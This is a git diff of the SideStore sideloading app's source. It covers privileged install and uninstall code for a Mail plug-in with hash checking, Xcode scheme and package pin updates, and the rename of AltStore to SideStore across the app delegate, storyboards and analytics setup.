let authorization = try self.runAndKeepAuthorization("mkdir", arguments: ["-p", pluginDirectoryURL.path])
// Create temporary directory.
let temporaryDirectoryURL = FileManager.default.temporaryDirectory.appendingPathComponent(UUID().uuidString)
try FileManager.default.createDirectory(at: temporaryDirectoryURL, withIntermediateDirectories: true, attributes: nil)
defer { try? FileManager.default.removeItem(at: temporaryDirectoryURL) }
// Unzip AltPlugin to temporary directory.
try self.runAndKeepAuthorization("unzip", arguments: ["-o", fileURL.path, "-d", temporaryDirectoryURL.path], authorization: authorization)
if FileManager.default.fileExists(atPath: pluginURL.path)
{
// Delete existing Mail plug-in.
try self.runAndKeepAuthorization("rm", arguments: ["-rf", pluginURL.path], authorization: authorization)
}
// Copy AltPlugin to Mail plug-ins directory.
// Must be separate step than unzip to prevent macOS from considering plug-in corrupted.
let unzippedPluginURL = temporaryDirectoryURL.appendingPathComponent(pluginURL.lastPathComponent)
try self.runAndKeepAuthorization("cp", arguments: ["-R", unzippedPluginURL.path, pluginDirectoryURL.path], authorization: authorization)
guard self.isMailPluginInstalled else { throw PluginError.unknown }
// Enable Mail plug-in preferences.
try self.run("defaults", arguments: ["write", "/Library/Preferences/com.apple.mail", "EnableBundles", "-bool", "YES"], authorization: authorization)
print("Finished installing Mail plug-in!")
completionHandler(.success(()))
}
catch
{
completionHandler(.failure(error))
}
}
}
catch
{
completionHandler(.failure(PluginError.cancelled))
}
}
func uninstallMailPlugin(completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let alert = NSAlert()
alert.messageText = NSLocalizedString("Uninstall Mail Plug-in", comment: "")
alert.informativeText = NSLocalizedString("Are you sure you want to uninstall the AltServer Mail plug-in? You will no longer be able to install or refresh apps with AltStore.", comment: "")
alert.addButton(withTitle: NSLocalizedString("Uninstall Plug-in", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let response = alert.runModal()
guard response == .alertFirstButtonReturn else { return completionHandler(.failure(PluginError.cancelled)) }
DispatchQueue.global().async {
do
{
if FileManager.default.fileExists(atPath: pluginURL.path)
{
// Delete Mail plug-in from privileged directory.
try self.run("rm", arguments: ["-rf", pluginURL.path])
}
completionHandler(.success(()))
}
catch
{
completionHandler(.failure(error))
}
}
}
}
private extension PluginManager
{
func downloadPlugin(completion: @escaping (Result<URL, Error>) -> Void)
{
let pluginVersion = self.preferredVersion
func finish(_ result: Result<URL, Error>)
{
do
{
let fileURL = try result.get()
if #available(OSX 10.15, *)
{
let data = try Data(contentsOf: fileURL)
let sha256Hash = SHA256.hash(data: data)
let hashString = sha256Hash.compactMap { String(format: "%02x", $0) }.joined()
print("Comparing Mail plug-in hash (\(hashString)) against expected hash (\(pluginVersion.sha256Hash))...")
guard hashString == pluginVersion.sha256Hash else { throw PluginError.mismatchedHash(hash: hashString, expectedHash: pluginVersion.sha256Hash) }
}
completion(.success(fileURL))
}
catch
{
completion(.failure(error))
}
}
if pluginVersion.url.isFileURL
{
finish(.success(pluginVersion.url))
}
else
{
let downloadTask = URLSession.shared.downloadTask(with: pluginVersion.url) { (fileURL, response, error) in
if let response = response as? HTTPURLResponse
{
guard response.statusCode != 404 else { return finish(.failure(PluginError.notFound)) }
}
let result = Result(fileURL, error)
finish(result)
if let fileURL = fileURL
{
try? FileManager.default.removeItem(at: fileURL)
}
}
downloadTask.resume()
}
}
func run(_ program: String, arguments: [String], authorization: AuthorizationRef? = nil) throws
{
_ = try self._run(program, arguments: arguments, authorization: authorization, freeAuthorization: true)
}
@discardableResult
func runAndKeepAuthorization(_ program: String, arguments: [String], authorization: AuthorizationRef? = nil) throws -> AuthorizationRef
{
return try self._run(program, arguments: arguments, authorization: authorization, freeAuthorization: false)
}
func _run(_ program: String, arguments: [String], authorization: AuthorizationRef? = nil, freeAuthorization: Bool) throws -> AuthorizationRef
{
var launchPath = "/usr/bin/" + program
if !FileManager.default.fileExists(atPath: launchPath)
{
launchPath = "/bin/" + program
}
print("Running program:", launchPath)
let task = STPrivilegedTask()
task.launchPath = launchPath
task.arguments = arguments
task.freeAuthorizationWhenDone = freeAuthorization
let errorCode: OSStatus
if let authorization = authorization
{
errorCode = task.launch(withAuthorization: authorization)
}
else
{
errorCode = task.launch()
}
guard errorCode == 0 else { throw PluginError.taskErrorCode(Int(errorCode)) }
task.waitUntilExit()
print("Exit code:", task.terminationStatus)
guard task.terminationStatus == 0 else {
let outputData = task.outputFileHandle.readDataToEndOfFile()
if let outputString = String(data: outputData, encoding: .utf8), !outputString.isEmpty
{
throw PluginError.taskError(outputString)
}
throw PluginError.taskErrorCode(Int(task.terminationStatus))
}
guard let authorization = task.authorization else { throw PluginError.unknown }
return authorization
}
}

3
AltStore.xcconfig Normal file
View File

@@ -0,0 +1,3 @@
#include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)

File diff suppressed because it is too large Load Diff

View File

@@ -2,6 +2,6 @@
<Workspace
version = "1.0">
<FileRef
location = "self:AltStore.xcodeproj">
location = "self:">
</FileRef>
</Workspace>

View File

@@ -0,0 +1,167 @@
{
"pins" : [
{
"identity" : "altsign",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SideStore/AltSign",
"state" : {
"branch" : "master",
"revision" : "7e0e7edcf8fbc44ac1e35da3e9030a297aa18b84"
}
},
{
"identity" : "appcenter-sdk-apple",
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
"state" : {
"revision" : "8354a50fe01a7e54e196d3b5493b5ab53dd5866a",
"version" : "4.4.2"
}
},
{
"identity" : "asyncimage",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/AsyncImage",
"state" : {
"branch" : "main",
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
}
},
{
"identity" : "expandabletext",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/ExpandableText",
"state" : {
"branch" : "main",
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
}
},
{
"identity" : "inject",
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzysztofzablocki/Inject.git",
"state" : {
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
"version" : "1.2.3"
}
},
{
"identity" : "keychainaccess",
"kind" : "remoteSourceControl",
"location" : "https://github.com/kishikawakatsumi/KeychainAccess.git",
"state" : {
"revision" : "84e546727d66f1adc5439debad16270d0fdd04e7",
"version" : "4.2.2"
}
},
{
"identity" : "launchatlogin",
"kind" : "remoteSourceControl",
"location" : "https://github.com/sindresorhus/LaunchAtLogin.git",
"state" : {
"revision" : "e8171b3e38a2816f579f58f3dac1522aa39efe41",
"version" : "4.2.0"
}
},
{
"identity" : "localconsole",
"kind" : "remoteSourceControl",
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
"state" : {
"branch" : "main",
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
}
},
{
"identity" : "nuke",
"kind" : "remoteSourceControl",
"location" : "https://github.com/kean/Nuke.git",
"state" : {
"revision" : "9318d02a8a6d20af56505c9673261c1fd3b3aebe",
"version" : "7.6.3"
}
},
{
"identity" : "openssl",
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzyzanowskim/OpenSSL",
"state" : {
"revision" : "033fcb41dac96b1b6effa945ca1f9ade002370b2",
"version" : "1.1.1501"
}
},
{
"identity" : "plcrashreporter",
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/PLCrashReporter.git",
"state" : {
"revision" : "6b27393cad517c067dceea85fadf050e70c4ceaa",
"version" : "1.10.1"
}
},
{
"identity" : "reachability.swift",
"kind" : "remoteSourceControl",
"location" : "https://github.com/ashleymills/Reachability.swift",
"state" : {
"branch" : "master",
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
}
},
{
"identity" : "semanticversion",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
"state" : {
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
"version" : "0.3.5"
}
},
{
"identity" : "sfsafesymbols",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
"state" : {
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
"version" : "4.0.0"
}
},
{
"identity" : "sparkle",
"kind" : "remoteSourceControl",
"location" : "https://github.com/sparkle-project/Sparkle.git",
"state" : {
"revision" : "286edd1fa22505a9e54d170e9fd07d775ea233f2",
"version" : "2.1.0"
}
},
{
"identity" : "starscream",
"kind" : "remoteSourceControl",
"location" : "https://github.com/daltoniam/Starscream.git",
"state" : {
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
"version" : "4.0.4"
}
},
{
"identity" : "stprivilegedtask",
"kind" : "remoteSourceControl",
"location" : "https://github.com/JoeMatt/STPrivilegedTask.git",
"state" : {
"branch" : "master",
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
}
},
{
"identity" : "zipfoundation",
"kind" : "remoteSourceControl",
"location" : "https://github.com/weichsel/ZIPFoundation.git",
"state" : {
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
"version" : "0.9.16"
}
}
],
"version" : 2
}

View File

@@ -14,26 +14,24 @@
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "E32E9B621EB87D7B000FEEE9"
BuildableName = "LaunchAtLogin.framework"
BlueprintName = "LaunchAtLogin"
ReferencedContainer = "container:LaunchAtLogin.xcodeproj">
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
buildConfiguration = "Release"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
<AdditionalOptions>
</AdditionalOptions>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
buildConfiguration = "Release"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
@@ -42,17 +40,22 @@
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<MacroExpansion>
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "E32E9B621EB87D7B000FEEE9"
BuildableName = "LaunchAtLogin.framework"
BlueprintName = "LaunchAtLogin"
ReferencedContainer = "container:LaunchAtLogin.xcodeproj">
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
<AdditionalOptions>
</AdditionalOptions>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
@@ -60,18 +63,19 @@
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "E32E9B621EB87D7B000FEEE9"
BuildableName = "LaunchAtLogin.framework"
BlueprintName = "LaunchAtLogin"
ReferencedContainer = "container:LaunchAtLogin.xcodeproj">
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
buildConfiguration = "Release">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"

View File

@@ -15,8 +15,8 @@
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "AltStore.app"
BlueprintName = "AltStore"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
@@ -45,8 +45,8 @@
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "AltStore.app"
BlueprintName = "AltStore"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
@@ -68,8 +68,8 @@
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "AltStore.app"
BlueprintName = "AltStore"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>

View File

@@ -1,16 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "container:AltStore.xcodeproj">
</FileRef>
<FileRef
location = "group:Dependencies/AltSign">
</FileRef>
<FileRef
location = "group:Dependencies/Roxas/Roxas.xcodeproj">
</FileRef>
<FileRef
location = "group:Pods/Pods.xcodeproj">
</FileRef>
</Workspace>

View File

@@ -1,8 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

View File

@@ -3,3 +3,10 @@
//
#import "NSAttributedString+Markdown.h"
#import "ALTAppPatcher.h"
#include "fragmentzip.h"
#ifdef MDC
#import "grant_full_disk_access.h"
#endif /* MDC */

View File

@@ -8,7 +8,7 @@
<true/>
<key>com.apple.security.application-groups</key>
<array>
<string>group.com.rileytestut.AltStore</string>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
</array>
</dict>
</plist>

View File

@@ -14,13 +14,7 @@ import AppCenter
import AppCenterAnalytics
import AppCenterCrashes
#if DEBUG
private let appCenterAppSecret = "bb08e9bb-c126-408d-bf3f-324c8473fd40"
#elseif RELEASE
private let appCenterAppSecret = "b6718932-294a-432b-81f2-be1e17ff85c5"
#else
private let appCenterAppSecret = "e873f6ca-75eb-4685-818f-801e0e375d60"
#endif
private let appCenterAppSecret = "73532d3e-e573-4693-99a4-9f85840bbb44"
extension AnalyticsManager
{
@@ -77,7 +71,7 @@ extension AnalyticsManager
}
}
class AnalyticsManager
final class AnalyticsManager
{
static let shared = AnalyticsManager()
@@ -90,9 +84,9 @@ extension AnalyticsManager
{
func start()
{
MSAppCenter.start(appCenterAppSecret, withServices:[
MSAnalytics.self,
MSCrashes.self
AppCenter.start(withAppSecret: appCenterAppSecret, services: [
Analytics.self,
Crashes.self
])
}
@@ -102,6 +96,6 @@ extension AnalyticsManager
properties[item.key.rawValue] = item.value
}
MSAnalytics.trackEvent(event.name, withProperties: properties)
Analytics.trackEvent(event.name, withProperties: properties)
}
}

View File

@@ -10,18 +10,20 @@ import UIKit
import UserNotifications
import AVFoundation
import Intents
import LocalConsole
import AltStoreCore
import AltSign
import Roxas
import EmotionalDamage
extension AppDelegate
{
static let openPatreonSettingsDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.OpenPatreonSettingsDeepLinkNotification")
static let importAppDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.ImportAppDeepLinkNotification")
static let addSourceDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.AddSourceDeepLinkNotification")
static let openPatreonSettingsDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".OpenPatreonSettingsDeepLinkNotification")
static let importAppDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".ImportAppDeepLinkNotification")
static let addSourceDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".AddSourceDeepLinkNotification")
static let appBackupDidFinish = Notification.Name("com.rileytestut.AltStore.AppBackupDidFinish")
static let appBackupDidFinish = Notification.Name(Bundle.Info.appbundleIdentifier + ".AppBackupDidFinish")
static let importAppDeepLinkURLKey = "fileURL"
static let appBackupResultKey = "result"
@@ -29,21 +31,47 @@ extension AppDelegate
}
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
final class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
@available(iOS 14, *)
private lazy var intentHandler = IntentHandler()
private var intentHandler: IntentHandler {
get { _intentHandler as! IntentHandler }
set { _intentHandler = newValue }
}
@available(iOS 14, *)
private lazy var viewAppIntentHandler = ViewAppIntentHandler()
private var viewAppIntentHandler: ViewAppIntentHandler {
get { _viewAppIntentHandler as! ViewAppIntentHandler }
set { _viewAppIntentHandler = newValue }
}
private lazy var _intentHandler: Any = {
guard #available(iOS 14, *) else { fatalError() }
return IntentHandler()
}()
private lazy var _viewAppIntentHandler: Any = {
guard #available(iOS 14, *) else { fatalError() }
return ViewAppIntentHandler()
}()
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Copy STDOUT and STDERR to the logging console
_ = OutputCapturer.shared
// Register default settings before doing anything else.
UserDefaults.registerDefaults()
#if UNSTABLE
UnstableFeatures.load()
#endif
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
DatabaseManager.shared.start { (error) in
if let error = error
{
@@ -59,8 +87,6 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
self.setTintColor()
ServerManager.shared.startDiscovering()
SecureValueTransformer.register()
if UserDefaults.standard.firstLaunch == nil
@@ -82,15 +108,25 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
func applicationDidEnterBackground(_ application: UIApplication)
{
ServerManager.shared.stopDiscovering()
// Make sure to update SceneDelegate.sceneDidEnterBackground() as well.
guard let oneMonthAgo = Calendar.current.date(byAdding: .month, value: -1, to: Date()) else { return }
let midnightOneMonthAgo = Calendar.current.startOfDay(for: oneMonthAgo)
DatabaseManager.shared.purgeLoggedErrors(before: midnightOneMonthAgo) { result in
switch result
{
case .success: break
case .failure(let error): print("[ALTLog] Failed to purge logged errors before \(midnightOneMonthAgo).", error)
}
}
}
func applicationWillEnterForeground(_ application: UIApplication)
{
AppManager.shared.update()
ServerManager.shared.startDiscovering()
PatreonAPI.shared.refreshPatreonAccount()
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
}
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any]) -> Bool
@@ -251,7 +287,7 @@ extension AppDelegate
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("App Refresh Tip", comment: "")
content.body = NSLocalizedString("The more you open AltStore, the more chances it's given to refresh apps in the background.", comment: "")
content.body = NSLocalizedString("The more you open SideStore, the more chances it's given to refresh apps in the background.", comment: "")
let request = UNNotificationRequest(identifier: "background-refresh-reminder5", content: content, trigger: trigger)
UNUserNotificationCenter.current().add(request)
@@ -355,11 +391,11 @@ private extension AppDelegate
for update in updates
{
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
guard let storeApp = update.storeApp else { continue }
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("New Update Available", comment: "")
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, storeApp.version)
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, version)
content.sound = .default
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
@@ -379,7 +415,7 @@ private extension AppDelegate
}
else
{
content.title = NSLocalizedString("AltStore News", comment: "")
content.title = NSLocalizedString("SideStore News", comment: "")
}
content.body = newsItem.title

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="17503.1" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21223" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="17502"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21204"/>
<capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
@@ -13,7 +13,7 @@
<!--Launch View Controller-->
<scene sceneID="q24-yd-v7v">
<objects>
<viewController id="wKh-xq-NuP" customClass="LaunchViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController id="wKh-xq-NuP" customClass="LaunchViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="G9E-Qs-gFM">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -28,7 +28,7 @@
<!--Tab Bar Controller-->
<scene sceneID="yl2-sM-qoP">
<objects>
<tabBarController storyboardIdentifier="tabBarController" modalPresentationStyle="fullScreen" id="49e-Tb-3d3" customClass="TabBarController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarController storyboardIdentifier="tabBarController" modalPresentationStyle="fullScreen" id="49e-Tb-3d3" customClass="TabBarController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBar key="tabBar" contentMode="scaleToFill" id="W28-zg-YXA">
<rect key="frame" x="0.0" y="975" width="768" height="49"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" flexibleMinY="YES"/>
@@ -40,6 +40,7 @@
<segue destination="3Ew-ox-i4n" kind="relationship" relationship="viewControllers" id="zii-dF-qEt"/>
<segue destination="p3d-dP-Swg" kind="relationship" relationship="viewControllers" id="4Nf-rL-P4c"/>
<segue destination="Qo4-72-Hmr" kind="presentation" identifier="presentSources" id="Qd6-ba-dIo"/>
<segue destination="bTL-bY-9Yq" kind="presentation" identifier="finishJailbreak" id="cIc-Ta-uNk"/>
</connections>
</tabBarController>
<placeholder placeholderIdentifier="IBFirstResponder" id="HuB-VB-40B" sceneMemberID="firstResponder"/>
@@ -49,7 +50,7 @@
<!--Browse-->
<scene sceneID="rXq-UR-qQp">
<objects>
<collectionViewController id="e3L-BF-iXp" customClass="BrowseViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionViewController id="e3L-BF-iXp" customClass="BrowseViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" dataMode="prototypes" id="CaT-1q-qnx">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -84,7 +85,7 @@
<!--App View Controller-->
<scene sceneID="TgT-LO-3Er">
<objects>
<viewController storyboardIdentifier="appViewController" id="0V6-N4-hTO" customClass="AppViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController storyboardIdentifier="appViewController" id="0V6-N4-hTO" customClass="AppViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="0cR-li-tCB">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -92,7 +93,7 @@
<stackView opaque="NO" contentMode="scaleToFill" fixedFrame="YES" spacing="8" translatesAutoresizingMaskIntoConstraints="NO" id="Bql-t3-Ndi">
<rect key="frame" x="47" y="238" width="85" height="35"/>
<subviews>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="j1W-Jn-HFI" customClass="AppIconImageView" customModule="AltStore" customModuleProvider="target">
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="j1W-Jn-HFI" customClass="AppIconImageView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="35" height="35"/>
<constraints>
<constraint firstAttribute="width" constant="35" id="aMS-N7-WYn"/>
@@ -130,7 +131,7 @@
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="Qlg-m3-lXg">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<subviews>
<view contentMode="scaleToFill" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="NEy-yr-cLS" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<view contentMode="scaleToFill" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="NEy-yr-cLS" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="37" y="287" width="300" height="93"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view>
@@ -191,7 +192,7 @@
</view>
<navigationItem key="navigationItem" largeTitleDisplayMode="never" id="maq-gT-QcS">
<barButtonItem key="rightBarButtonItem" style="plain" id="FLf-DS-F77">
<button key="customView" opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" id="grk-xM-YWA" customClass="PillButton" customModule="AltStore" customModuleProvider="target">
<button key="customView" opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" id="grk-xM-YWA" customClass="PillButton" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="287" y="6.5" width="72" height="31"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<color key="backgroundColor" red="0.22352941179999999" green="0.4941176471" blue="0.39607843139999999" alpha="0.10000000000000001" colorSpace="custom" customColorSpace="sRGB"/>
@@ -228,7 +229,7 @@
<!--App-->
<scene sceneID="CgX-7h-sRI">
<objects>
<tableViewController id="kBq-V8-3XC" customClass="AppContentViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<tableViewController id="kBq-V8-3XC" customClass="AppContentViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tableView key="view" clipsSubviews="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" contentInsetAdjustmentBehavior="never" dataMode="static" style="plain" separatorStyle="none" rowHeight="-1" estimatedRowHeight="-1" sectionHeaderHeight="28" sectionFooterHeight="28" contentViewInsetsToSafeArea="NO" id="w5c-Q3-FcU">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -237,7 +238,7 @@
<tableViewSection id="rfR-32-T0h">
<cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" rowHeight="57" id="xef-ko-Qp1">
<rect key="frame" x="0.0" y="28" width="375" height="57"/>
<rect key="frame" x="0.0" y="50" width="375" height="57"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="xef-ko-Qp1" id="8PX-jQ-nHd">
<rect key="frame" x="0.0" y="0.0" width="375" height="57"/>
@@ -261,7 +262,7 @@
<inset key="separatorInset" minX="15" minY="0.0" maxX="15" maxY="0.0"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="nI6-wC-H2d">
<rect key="frame" x="0.0" y="85" width="375" height="44"/>
<rect key="frame" x="0.0" y="107" width="375" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="nI6-wC-H2d" id="Z4y-vb-Z4Q">
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
@@ -298,14 +299,14 @@
<color key="backgroundColor" name="Background"/>
<inset key="separatorInset" minX="15" minY="0.0" maxX="15" maxY="0.0"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="EL5-UC-RIw" customClass="AppContentTableViewCell" customModule="AltStore" customModuleProvider="target">
